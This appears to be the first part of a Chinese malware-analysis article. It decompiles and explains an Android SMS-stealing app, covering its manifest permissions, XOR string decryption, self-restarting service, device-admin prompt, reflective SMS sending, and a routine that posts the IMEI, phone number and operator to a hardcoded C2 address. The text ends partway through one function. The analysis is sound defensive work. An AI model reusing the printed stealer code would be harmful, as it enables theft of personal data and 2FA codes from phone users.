洞若观火:全方位剖析Android信息窃取恶意软件(上篇)

 

一、概述

在本文中,我们将分析一款Android恶意应用程序。该样本可以在Virusbay中找到,或者可以访问这个本地镜像。这一恶意软件可以窃取短信息,攻击者能够获取到关于特定目标的大量消息,或者可以从受害者的手机上获取双因素认证(2FA)令牌,从而攻破安全性良好的账户。

请注意,在本文中的代码,变量名称都将使用易读的名称。如果变量的名称可以直接从其类型或上下文中派生,那么我们将直接对其进行重命名,不会再特意提到。如果无法明确判断,我们将会进行相应解释。

关于该样本,详细信息如下。

MD5:a1b5c184d447eaac1ed47bc5a0db4725

SHA-1:98bb4315a5ee3f92a3275f08e45f7e35d9995cd2

SHA-256:c385020ef9e6e04ad08757324f78963378675a1bdb57a4de0fd525cffe7f2139

文件类型:应用程序/Java压缩包

检测率:32/61

 

二、工具

要将APK转换为Android Studio项目,所使用的工具是AndroidProjectCreator。请注意,反编译器并不是总能够将SMALI字节码转换为Java。因此,使用不同的反编译器多次对APK进行转换是一个不错的习惯。

在开始分析前,首先检查所有类,因为变量的名称仍然没有改变。如果已经重构了一般的样本,那么新添加的代码可能在之前的阶段就已经被修改过,因为这部分内容没有嵌入到项目中。这方面的一个例子是,如果某个类中的一个函数没有正确反编译,其余函数将被重构。以下是一个例子:

private Context context;

/**
* This is the renamed function, which was previously named "q".
*/
public Context getContext() {
    return context;
}

/**
* This is the newly added function, which relies on the original instead of the refactored name.
*/
public String x() {
    return q.LAUNCHER_APPS_SERVICE;
}

另外,在此之前,我们已经使用了APKTool获取单个类的SMALI字节码。使用Android Studio,主要是分析并重构Java代码。

 

三、代码分析的方法论

在分析之前,关于样本内部的信息非常少。为了避免把时间浪费在与研究目标无关的代码上,我们必须事先做出最好的预测和判断。

AndroidManifest.xml提供有关所请求的权限、服务、intent接收器(Intent Receiver)、广播接收器(Broadcast Receiver)的信息。针对代码来说,Main Activity中的onCreate函数是应用程序的起点。因此,我们可以从这里开始调查。

随后,可以深入研究被调用的方法,这些方法可能存在于多个类中。如果只看混淆后的代码,可能无法揭示出代码的作用,因此我们也需要掘地三尺。这样,就可以向上重构代码,因为我们已经清楚了每个函数的内容是什么。

请注意,采用这种方法后,分析速度是呈指数级的。如果我们对样本所知甚少,那么分析每个函数都需要一段时间。由于类会在很多不同的地方重复使用,所以第一次的分析速度最慢。重构的每个部分,会随着对越来越多类的分析而逐渐清晰,从而加快对后续其他类的分析进度。

根据我自己的经验,用两个整天的时间通常足以重构整个样本。在第一天后,感觉只完成了很少的工作。但在第二天,就会补上所有缺失的拼图。

 

四、反编译APK

首先,将会对manifest进行分析。之后,将会分析并重构Java代码。在本文的分析过程中,我们没有提及错误的操作,从而避免对大家造成混淆。请注意,名为android的包中包含应用程序所使用的默认Android类。因此,这个包也超出了涉及的范围。

 

五、Manifest

在manifest中,揭示了许多关于应用程序的信息,因此我们要首先分析这个文件。下面展示了完整的manifest。

<?xml version="1.0" encoding="utf-8"?>
<manifest package="org.starsizew" platformBuildVersionCode="19" platformBuildVersionName="4.4.2-1456859"
  xmlns:android="http://schemas.android.com/apk/res/android">

    <uses-sdk android:minSdkVersion="9" />

    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.READ_LOGS" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true">
        <activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name="org.starsizew.MainService" android:enabled="true" android:exported="true" />
        <service android:name="org.starsizew.Ad" android:enabled="true" android:exported="true" />
        <receiver android:name="org.starsizew.MainServiceBroadcastReceiverWrapper" android:enabled="true" android:exported="false">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <category android:name="android.intent.category.HOME" />
            </intent-filter>
        </receiver>
        <receiver android:name="org.starsizew.DeviceAdminReceiverWrapper" android:permission="android.permission.BIND_DEVICE_ADMIN">
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
            <meta-data android:name="stopOnDeviceLock" android:value="false" />
            <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
            <meta-data android:name="preventRestart" android:value="true" />
            <intent-filter>
                <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
                <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
        </receiver>
        <receiver android:name="org.starsizew.Ma">
            <intent-filter android:priority="100">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
    </application>
</manifest>

从上述manifest可以看到,请求的权限如下:

CALL_PHONE
SEND_SMS
WRITE_SMS
READ_SMS
GET_TASKS
ACCESS_NETWORK_STATE
READ_PHONE_STATE
RECEIVE_SMS
WRITE_EXTERNAL_STORAGE
INTERNET
RECEIVE_BOOT_COMPLETED
READ_LOGS
READ_CONTACTS

根据上述信息,可以看到,恶意软件能够拨打任意电话号码,也可以向指定号码发送短信。此外,恶意软件可以接收和阅读短信。网络状态检查用于确认手机是否联网,网络许可用于与在线服务进行交互。

GET_TASKS和READ_LOGS都需要使用提升后的权限。这意味着,应用程序必须是固件的一部分,或者应该安装在特权分区上。读取设备上其他应用程序的日志需要READ_LOGS权限,而获取最近执行的任务列表需要GET_TASKS权限。

应用程序的主要活动也会在manifest中定义,如下所示。

<activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>

android:name字段包含类的路径,其中的一个点就代表一个新的包(Package)。android:label=”@string/app_name”的值会自动显示在Android Studio中,但也可以在res/values/strings.xml文件中找到,如下所示。

<string name="app_name">Spy Mouse</string>

每当设备启动、屏幕打开或者是按下主页按钮时,都会用到一个名为Ac的类。

<receiver android:name="org.starsizew.Ac" android:enabled="true" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="android.intent.action.SCREEN_ON" />
        <category android:name="android.intent.category.HOME" />
    </intent-filter>
</receiver>

使用设备管理权限的类名为Aa。下面是从manifest中节选的部分代码。

<receiver android:name="org.starsizew.Aa" android:permission="android.permission.BIND_DEVICE_ADMIN">
    <intent-filter>
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
    <meta-data android:name="stopOnDeviceLock" android:value="false" />
    <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
    <meta-data android:name="preventRestart" android:value="true" />
    <intent-filter>
        <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
        <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
</receiver>

Manifest的最后一部分,用于捕获有关新收到的短信的intent,Ma类负责处理该消息。根据预先设定的优先级,这一应用程序比其他应用程序会更早处理intent,除非另一个应用程序的优先级更高。

<receiver android:name="org.starsizew.Ma">
    <intent-filter android:priority="100">
        <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
</receiver>

 

六、源代码分析

要分析源代码,不仅仅要靠分析人员的预感,更重要的是应该根据事实做出合理判断,从而得到最好的结果。

6.1 MainActivity

MainActivity中的onCreate函数负责启动服务,设置重复警报,并检查是否授予了管理权限。根据是否授予管理权限,将执行函数q。其反编译后的源代码如下。

protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(2130903040);
    Context applicationContext = getApplicationContext();
    applicationContext.startService(new Intent(applicationContext, Tb.class));
    ((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
    if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
        q();
    }
}

6.1.1 函数q

函数q启动了向管理员组添加新设备管理员的intent。

private void q() {
    Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    intent.putExtra("android.app.extra.DEVICE_ADMIN"), new ComponentName(this, Aa.class));
    startActivityForResult(intent, 100);
}

Aa类如下:

public class Aa extends DeviceAdminReceiver {
    public void onDisabled(Context context, Intent intent) {
        super.onDisabled(context, intent);
    }

    public void onEnabled(Context context, Intent intent) {
        super.onEnabled(context, intent);
    }

    public void onPasswordChanged(Context context, Intent intent) {
        super.onPasswordChanged(context, intent);
    }
}

这个类是DeviceAdminReceiver的包装器(Wrapper),这也就是它可以重构为DeviceAdminReceiverWrapper的原因。

6.1.2 字符串解密

在MainActivity类中,有一个名为q的全局变量,它是加密的。要对其进行解密,可以利用另一个名为q的函数完成,二者都需要不同的参数。具体代码如下:

private static final String[] q = new String[]{q(q("-]aKu001f/Yxnu0010blU!!")), q(q("-Cuu0017u0011%I?u0004u000e<u0003tu001dn>L?"))};

private static String q(char[] cArr) {
    int length = cArr.length;
    for (int i = 0; length > i; i++) {
        int i2;
        char c = cArr[i];
        switch (i % 5) {
            case 0:
                i2 = 76;
                break;
            case 1:
                i2 = 45;
                break;
            case 2:
                i2 = 17;
                break;
            case 3:
                i2 = 101;
                break;
            default:
                i2 = TransportMediator.KEYCODE_MEDIA_PLAY;
                break;
        }
        cArr[i] = (char) ((char) (i2 ^ c));
    }
    return new String(cArr).intern();
}

private static char[] q(String str) {
    char[] toCharArray = str.toCharArray();
    if (toCharArray.length < 2) {
        toCharArray[0] = (char) ((char) (toCharArray[0] ^ TransportMediator.KEYCODE_MEDIA_PLAY));
    }
    return toCharArray;
}

请注意,TransportMediator.KEYCODE_MEDIA_PLAY的值等于126。在Android Studio中,可以使用CTRL,并单击KEYCODE_MEDIA_PLAY枚举值来检查此值。

可以通过初始化变量并打印值来解密字符串数组。能够编译并执行Java代码的IDE,也可以执行所需的操作。字符串数组的解密值如下所示,其中每一行都是数组中的不同索引,从0开始。

app.action.ADD_
android.app.extra.

6.2 寻找引用

在onCreate函数中,某些函数需要字符串作为参数。DevicePolicyManager的函数getSystemService,需要一个类似于所请求服务名称的字符串。

Protected void onCreate(Bundle bundle){
    //[omitted]
    applicationContext.startService(new Intent(applicationContext, Tb.class));
    ((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
    If (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
        q();
    }
}

在检查名为o的类时,我们发现有很多公用字符串被加密。完整的类如下:

Package org.starsizew;

Public final class o {
    Public static String E = new StringBuilder(q(q("}5u0005"))).append(f).append(q(q("C0"))).toString();
    Public static String Q = (b + y + o + y + q(q("C1u00031hL")) + y + s);
    Public static String R = q(q("ru001d$f"));
    Public static String T = q(q("V;u001a="));
    Public static String W = q(q("C>u0016*j"));
    Public static int Y;
    Public static String a = (b + q(q("f3u0007()G*u0003*f")));
    Public static String b = q(q("C<u0013*hK6"));
    Public static String c = q(q("R:u00186b"));
    Public static String d = q(q("V7u001b"));
    Public static String e = new StringBuilder(q(q("K<"))).append(f).append(q(q("Q&"))).toString();
    Public static String f = "";
    Public static String g = q(q("u001bbG"));
    Public static String h = q(q("Q?u0004"));
    Public static String i = (b + y + o + y + q(q("C1u00031hL|u0002+tF|u00186")));
    Public static String j = new StringBuilder(String.valueOf(h.toUpperCase())).append(q(q("}u00002u001bBku00042u001c"))).toString();
    Public static String k = q(q("C0u0018*s"));
    Public static String l = q(q("` u00189cA3u0004,"));
    Public static String m = q(q("eu0017#"));
    Public static String n = (p + q(q("}"u00184nA+")));
    Public static String o = q(q("K<u0003=iV"));
    Public static String p = q(q("F7u00011dG"));
    Public static String q = (b + q(q("f"u00057qK6u0012*)v7u001b=wJ=u0019!)")) + j);
    Public static String r = new StringBuilder(q(q("M<"))).append(f).append(q(q("Gr"))).toString();
    Public static String s = q(q("au0013;u0014"));
    Public static String t = new StringBuilder(q(q("M"u0012"))).append(f).append(q(q("P3"))).append(f).append(q( q("V=u0005"))).toString();
    Public static String u = (T + q(q("}"u0012*")) + f + q(q("G:u0001")));
    Public static String v = new StringBuilder(String.valueOf(p.toUpperCase())).append(q(q("}u00133u0015Nl"))).toString();
    Public static String w = q(q("v7u000f,JG!u00049`G"));
    Public static int x = 1;
    Public static String y = ".";
    Public static int z = 0;

    Private static String q(char[] cArr) {
        Int length = cArr.length;
        For (int i = 0; length > i; i++) {
            Int i2;
            Char c = cArr[i];
            Switch (i % 5) {
                Case 0:
                    I2 = 34;
                    Break;
                Case 1:
                    I2 = 82;
                    Break;
                Case 2:
                    I2 = 119;
                    Break;
                Case 3:
                    I2 = 88;
                    Break;
                Default:
                    I2 = 7;
                    Break;
            }
            cArr[i] = (char) ((char) (i2 ^ c));
        }
        Return new String(cArr).intern();
    }

    Private static char[] q(String str) {
        Char[] toCharArray = str.toCharArray();
        If (toCharArray.length < 2) {
            toCharArray[0] = (char) ((char) (toCharArray[0] ^ 7));
        }
        Return toCharArray;
    }
}

在使用两个给定的解密函数(均命名为q)解密所有字符串,并根据输出结果重构名称后,这些变量就看起来更有意义了,如下所示:

package org.starsizew;

public final class StringDatabase {
    public static String _grab = new StringBuilder(decryptCharArray(decryptString("}5u0005"))).append(emptyString).append(decryptCharArray(decryptString("C0"))).toString();
    public static String AndroidIntentActionCall = (android + dot + intent + dot + decryptCharArray(decryptString("C1u00031hL")) + dot + CALL);
    public static String POST = decryptCharArray(decryptString("ru001d$f"));
    public static String time = decryptCharArray(decryptString("V;u001a="));
    public static String alarm = decryptCharArray(decryptString("C>u0016*j"));
    public static int integerZero;
    public static String AndroidAppExtra = (android + decryptCharArray(decryptString("f3u0007()G*u0003*f")));
    public static String android = decryptCharArray(decryptString("C<u0013*hK6"));
    public static String phone = decryptCharArray(decryptString("R:u00186b"));
    public static String tel = decryptCharArray(decryptString("V7u001b"));
    public static String inst = new StringBuilder(decryptCharArray(decryptString("K<"))).append(emptyString).append(decryptCharArray(decryptString("Q&"))).toString();
    public static String emptyString = "";
    public static String integer900 = decryptCharArray(decryptString("u001bbG"));
    public static String sms = decryptCharArray(decryptString("Q?u0004"));
    public static String AndroidIntentActionUssdOn = (android + dot + intent + dot + decryptCharArray(decryptString("C1u00031hL|u0002+tF|u00186")));
    public static String SMS_RECEIVED = new StringBuilder(String.valueOf(sms.toUpperCase())).append(decryptCharArray(decryptString("}u00002u001bBku00042u001c"))).toString();
    public static String abort = decryptCharArray(decryptString("C0u0018*s"));
    public static String Broadcast = decryptCharArray(decryptString("` u00189cA3u0004,"));
    public static String GET = decryptCharArray(decryptString("eu0017#"));
    public static String device_policy = (device + decryptCharArray(decryptString("}"u00184nA+")));
    public static String intent = decryptCharArray(decryptString("K<u0003=iV"));
    public static String device = decryptCharArray(decryptString("F7u00011dG"));
    public static String AndroidProviderTelephonySMS_RECEIVED = (android + decryptCharArray(decryptString("f"u00057qK6u0012*)v7u001b=wJ=u0019!)")) + SMS_RECEIVED);
    public static String one_ = new StringBuilder(decryptCharArray(decryptString("M<"))).append(emptyString).append(decryptCharArray(decryptString("Gr"))).toString();
    public static String CALL = decryptCharArray(decryptString("au0013;u0014"));
    public static String operator = new StringBuilder(decryptCharArray(decryptString("M"u0012"))).append(emptyString).append(decryptCharArray(decryptString("P3"))).append(emptyString).append(decryptCharArray(decryptString("V=u0005"))).toString();
    public static String time_perehv = (time + decryptCharArray(decryptString("}"u0012*")) + emptyString + decryptCharArray(decryptString("G:u0001")));
    public static String DEVICE_ADMIN = new StringBuilder(String.valueOf(device.toUpperCase())).append(decryptCharArray(decryptString("}u00133u0015Nl"))).toString();
    public static String TextMessage = decryptCharArray(decryptString("v7u000f,JG!u00049`G"));
    public static int integerTrue = 1;
    public static String dot = ".";
    public static int integerFalse = 0;

    //Decryption functions are omitted for brevity
}

6.3 主服务

onCreate函数使用的下一个类,称为Tb。该类作为服务启动,如下所示:

Context applicationContext = getApplicationContext();
applicationContext.startService(new Intent(applicationContext, Tb.class));

服务中包含的三个函数,具体解释如下。需要注意的是,与前面描述的类一样,这里使用了与字符串相同的加密技术。从这个类开始,由于每个类中的方法都相同,因此我们不会再赘述解密的过程。

6.3.1 onCreate

onCreate函数中包含一个名为q的布尔值,以及一个名为w的SharedPreferences对象,并使用类u来启动一个新的线程(Thread)。其代码如下:

public void onCreate() {
    super.onCreate();
    q = true;
    this.w = getSharedPreferences(getApplicationContext().getString(2131099651), StringDatabase.integerFalse);
    new Thread(new u(this)).start();
}

布尔型变量q也用在onDestroy函数中,并且它的值为false。因此,该布尔值用于确定服务是否正在运行,它可以使用名称isActive进行重构。

我们可以在res/public.xml和res/strings.xml中找到一个字符串,该字符串以十进制表示后时2131099651.需要注意的是,代码中的十进制值在XML文件中是以十六进制表示的。当转换为十六进制时,其值等于0x7F060003。XML文件中的值如下所示。

[public.xml]
<public type="string" name="PREFS_NAME" i7F060003d="0x7f060003" />

[strings.xml]
<string name="PREFS_NAME">AppPrefs</string>

如果可以加载配置文件,那么恶意程序此前已经处于活动状态,并且可以加载最新的已知配置。

后续,我们将分析用于启动新线程的类。

6.3.2 onBind

该函数没有在服务中实现,因为它只能返回异常。代码如下:

public IBinder onBind(Intent intent) {
    throw new UnsupportedOperationException(stringError);
}

请注意,之所以将字符串命名为stringError,是因为在解密时,其中会包含字符串Error。

6.3.3 onDestroy

现在,布尔型的isActive已经有了新的名称,因为它在onCreate函数的分析过程中已经被更改。它声明的intent用于启动名为Tb的服务。这与目前我们正在分析的服务相同。如果服务关闭,则它会自动重启。该功能的代码如下:

public void onDestroy() {
    super.onDestroy();
    isActive = false;
    Intent intent = new Intent(this, Tb.class);
    intent.setFlags(268435456); 
    startService(intent);
}

请注意,268435456实际上等于0x10000000,这是FLAG_ACTIVITY_NEW_TASK的常量值,我们可以在Android开发者网站上看到。由于这一标志的存在,服务将作为应用程序中的新任务而启动。

6.3.4 主服务

该服务可以重命名为MainService,因为它是恶意程序内部的主要服务,负责保持自身功能,并确保恶意程序内部工作一切正常。

6.4 新线程u

在MainService类的onCreate函数中,创建了一个新线程u,具体如下:

package org.starsizew;

final class u implements Runnable {
    final Mainservice mainService;

    u(Mainservice mainService) {
        this.mainService = mainService;
    }

    public final void run() {
        this.mainService.r.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
    }
}

一开始,Android Studio会产生一个错误。这是由于一个反编译的错误,其中MainService类中的两个字段,都设置为private,而实际上它们应该是public或者protected。在下面的代码中,给出了public的两个字段:

public Handler r = new Handler();
public Runnable t = new w(this);

现在,新的类u更具可读性,如下所示:

package org.starsizew;

final class u implements Runnable {
    final Mainservice mainService;

    u(Mainservice mainService) {
        this.mainService = mainService;
    }

    public final void run() {
        this.mainService.handler.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
    }
}

名为r的处理程序可以重新命名为handler。由于目前尚不清楚w类的作用,因此无法对runnable进行重命名。要了解u的作用,首先我们需要知道w的作用。请注意,这里的StringDatabase.integerFalse等于0。处理程序启动runnable的延迟等于0毫秒。

6.5 类w

类w是可以运行的,这也就意味着,它是作为线程启动的。线程在启动时运行run方法。除了解密功能之外,这个类中没有其他任何内容,具体如下:

public final void run() {
    boolean z = MainService.e;
    if (!this.mainService.sharedPreferences.contains(StringDatabase.one_ + StringDatabase.inst)) {
        Editor edit = this.mainService.sharedPreferences.edit();
        edit.putInt(StringDatabase.one_ + StringDatabase.inst, StringDatabase.integerTrue);
        edit.putString(w[0], this.mainService.getApplicationContext().getString(2131099653));
        edit.putString(StringDatabase.inst, "1");
        edit.putLong(StringDatabase.time_perehv, 100);
        edit.putString(w[3], new StringBuilder(String.valueOf(this.mainService.getApplicationContext().getString(2131099652))).append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
        edit.putString(new StringBuilder(w[4]).append(StringDatabase.emptyString).append(w[1]).toString(), a.q(this.mainService.getApplicationContext()).getDeviceId());
        edit.apply();
    }
    List arrayList = new ArrayList();
    if (this.mainService.sharedPreferences.getString(StringDatabase.inst, null) == "1") {
        new i(this.mainService.getApplicationContext(), arrayList, StringDatabase.inst + w[5]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
    } else {
        new i(this.mainService.getApplicationContext(), arrayList, w[2]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
    }
    this.mainService.handler.postDelayed(this, (long) Constants.int50005);
    if (z) {
        StringDatabase.integerZero++;
    }
}

在后面,我们将会分析函数a所在的类q。函数的上下文目前已经提供了足够的可供分析的内容。

这个类是一个例子,说明了从名为w的字符串数组中替换字符串的重要性。这样一来,就能让我们看到更加清晰的代码。优化后的版本如下:

public final void run() {
    boolean z = MainService.e;
    if (!this.mainService.sharedPreferences.contains("one_inst")) {
        Editor edit = this.mainService.sharedPreferences.edit();
        edit.putInt("one_inst1");
        edit.putString("url", "http://37.1.207.31/api/?id=7");
        edit.putString("inst", "1");
        edit.putLong("time_perehv", 100);
        edit.putString("id", new StringBuilder("00122".append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
        edit.putString("imei", a.q(this.mainService.getApplicationContext()).getDeviceId());
        edit.apply();
    }
    List arrayList = new ArrayList();
    if (this.mainService.sharedPreferences.getString("inst", null) == "1") {
        new i(this.mainService.getApplicationContext(), arrayList, "install").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
    } else {
        new i(this.mainService.getApplicationContext(), arrayList, "info").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
    }
    this.mainService.handler.postDelayed(this, 50005);
    if (z) {
        StringDatabase.integerZero++;
    }
}

首先,检查共享首选项文件是否包含密钥,密钥其中应该包含字符串one_inst。如果为false,则使用C&C URL、布尔型installation变量、time_perehv、ID以及设备的IMEI来实例化首选项文件。

如果共享首选项文件中包含one_inst值,或者在设置共享首选项文件之后,那么会使用完全相同但只有一个参数不同的参数调用类i,不同的参数是第三个,可以是install,也可以是info。但在分析类i之前,首先将分析类a。

6.6 类a

在该类中,包含了两个名为q的函数。请注意,为了简洁起见,我们省略了字符串数组及其解密方法。

第一个函数需要一个上下文对象作为参数:q(Context context)。该功能非常简单,如下所示:

static TelephonyManager q(Context context) {
    return (TelephonyManager) context.getSystemService(StringDatabase.phone);
}

首先,请求系统服务电话,这样的功能显而易见。此外,我们可以看一下类型转换,它等同于TelephonyManager。我们对这部分代码进行修改,使其更具可读性,如下所示:

static TelephonyManager getTelephonyManager(Context context) {
    return (TelephonyManager) context.getSystemService(StringDatabase.phone);
}

第二个函数需要两个字符串作为参数:q(String str, String str2)。此外,代码使用反射来调用方法。代码具体如下,其中已经替换了字符串数组中的解密字符串。

public static boolean q(String str, String str2) {
    try {
        Class cls = Class.forName(StringDatabase.android + ".telephony.SmsManager");
        Object invoke = cls.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
        Method method = cls.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
        Object[] objArr = new Object[5];
        objArr[0] = str;
        objArr[2] = str2;
        method.invoke(invoke, objArr);
    } catch (Exception e) {
    }
    return false;
}

调用的函数来自android.telephony.SmsManager,命名为sendTextMessage。我们快速浏览SmsManager类的Android开发者页面,可以找到以下信息:

public void sendTextMessage (String destinationAddress, 
                String scAddress, 
                String text, 
                PendingIntent sentIntent, 
                PendingIntent deliveryIntent)

其中,变量str和str2是方法的第一个和第三个参数。第一个参数是destinationAddress,第三个参数是短信息的文本。该函数使用指定正文,将文本消息发送到指定号码。经过重新编写后的方法如下:

public static boolean sendSms(String destinationAddress, String text) {
    try {
        Class SmsManager = Class.forName(StringDatabase.android + ".telephony.SmsManager");
        Object methodGetDefaultSmsManager = SmsManager.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
        Method methodSendTextMessage = SmsManager.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
        Object[] objectArray = new Object[5];
        objectArray[0] = destinationAddress;
        objectArray[2] = text;
        methodSendTextMessage.invoke(methodGetDefaultSmsManager, objectArray);
    } catch (Exception e) {
    }
    return false;
}

在这个类中,包装了TelephonyManager,这也就是为什么我们将其重命名为TelephonyManagerWrapper的原因。

6.7 类i

这个类是AsyncTask,意味着它会在应用程序的后台运行。AsyncTask的生命周期有四个阶段:

1、onPreExecute,用于准备稍后使用的类中的任意内容。

2、doInBackground,这是任务的主要部分。

3、onProgressUpdate,用于更新UI。此方法通常在恶意软件中被删去,因为任务需要保持隐藏状态。

4、onPostExecute,在doInBackground函数完成后执行。

doInBackground方法被正确反编译,但onPostExecute方法无法使用JAD-X、JD-CMD、Fernflower、CFR或包含使用dex2jar制作的JAR的Procyon进行反编译。如果使用enjarify来生成JAR,结果与之前相同。在后面,我们会详细介绍onPostExecute函数。

6.7.1 doInBackground

doInBackground函数如下所示。为了完全理解它的作用,我们首先需要分析类t。

protected final Object doInBackground(Object[] objArr) {
    Object obj = null;
    boolean z = true;
    boolean z2 = MainService.e;
    String str = ((String[]) objArr)[StringDatabase.integerFalse];
    t tVar = new t();
    this.e.add(new BasicNameValuePair("method", this.r));
    this.e.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", null)));
    if (this.r.startsWith("install")) {
        String str2 = "POST";
        this.e.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
        this.e.add(new BasicNameValuePair("model", Build.MODEL));
        this.e.add(new BasicNameValuePair("os", VERSION.RELEASE));
        this.e.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
        this.e.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
        this.e.add(new BasicNameValuePair("version", s.w));
        this.e.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
        obj = t.q(str, "POST", this.e);
    } else if (this.r.startsWith("info")) {
        obj = t.q(str, "POST", this.e);
    } else if (this.r.startsWith("sms")) {
        obj = t.q(str, "POST", this.e);
    }
    if (StringDatabase.integerZero != 0) {
        if (z2) {
            z = false;
        }
        MainService.e = z;
    }
    return obj;
}

在分析t之后,我们会给出新版本的doInBackground函数,并对该类进行详细分析。

6.8 类t

类t中的函数q将在下面给出。需要注意的是,其中的某些变量已根据其类型来重新命名。下面将会进一步解释其中的变化。

public static JSONObject q(String url, String var1, List var2) {
    boolean var10001;
    label66:
    {
        DefaultHttpClient defaultHttpClient;
        try {
            if (var1 == "POST") {
                defaultHttpClient = new DefaultHttpClient();
                HttpPost httpPost = new HttpPost(url);
                UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(var2, "UTF-8");
                httpPost.setEntity(urlEncodedFormEntity);
                inputStream = defaultHttpClient.execute(httpPost).getEntity().getContent();
                break label66;
            }
        } catch (Throwable var12) {
            var10001 = false;
            break label66;
        }

        try {
            if (var1 == "GET") {
                defaultHttpClient = new DefaultHttpClient();
                String formattedUrlUtils = URLEncodedUtils.format(var2, "utf-8");
                StringBuilder var3 = new StringBuilder(String.valueOf(url));
                HttpGet httpGet = new HttpGet(var3.append("?").append(formattedUrlUtils).toString());
                inputStream = defaultHttpClient.execute(httpGet).getEntity().getContent();
            }
        } catch (Throwable var11) {
            var10001 = false;
        }
    }

    label55:
    {
        BufferedReader var14;
        StringBuilder var20;
        try {
            InputStreamReader var18 = new InputStreamReader(inputStream, "iso-8859-1");
            var14 = new BufferedReader(var18, 8);
            var20 = new StringBuilder();
        } catch (Throwable var10) {
            var10001 = false;
            break label55;
        }

        while (true) {
            try {
                var1 = var14.readLine();
            } catch (Throwable var8) {
                var10001 = false;
                break;
            }

            if (var1 == null) {
                try {
                    inputStream.close();
                    w = var20.toString();
                    break;
                } catch (Throwable var7) {
                    Throwable var15 = var7;

                    try {
                        throw var15;
                    } catch (Throwable var6) {
                        var10001 = false;
                        break;
                    }
                }
            }

            try {
                var20.append(var1).append("n");
            } catch (Throwable var9) {
                var10001 = false;
                break;
            }
        }
    }

    try {
        JSONObject var16 = new JSONObject(w);
        jsonObject = var16;
    } catch (Throwable var5) {
    }

    return jsonObject;
}

这个函数中有三个参数,第一个是URL,可以在HTTP POST构造函数中看到(需要一个URL)。然后使用编码后的参数附加URL,以避免在接收端出现错误。提供的方法是可以从if语句中派生的第二个参数,然后比较给定的字符串是GET还是POST。第三个参数是真正意义上的参数,它会被编码并附加到URL。服务器的响应将作为JSONObject返回。修改后的该方法如下:

public static JSONObject callC2(String url, String httpMethod, List parameters) {
    boolean var10001;
    label66:
    {
        DefaultHttpClient httpClient;
        try {
            if (httpMethod == "POST") {
                httpClient = new DefaultHttpClient();
                HttpPost httpPost = new HttpPost(url);
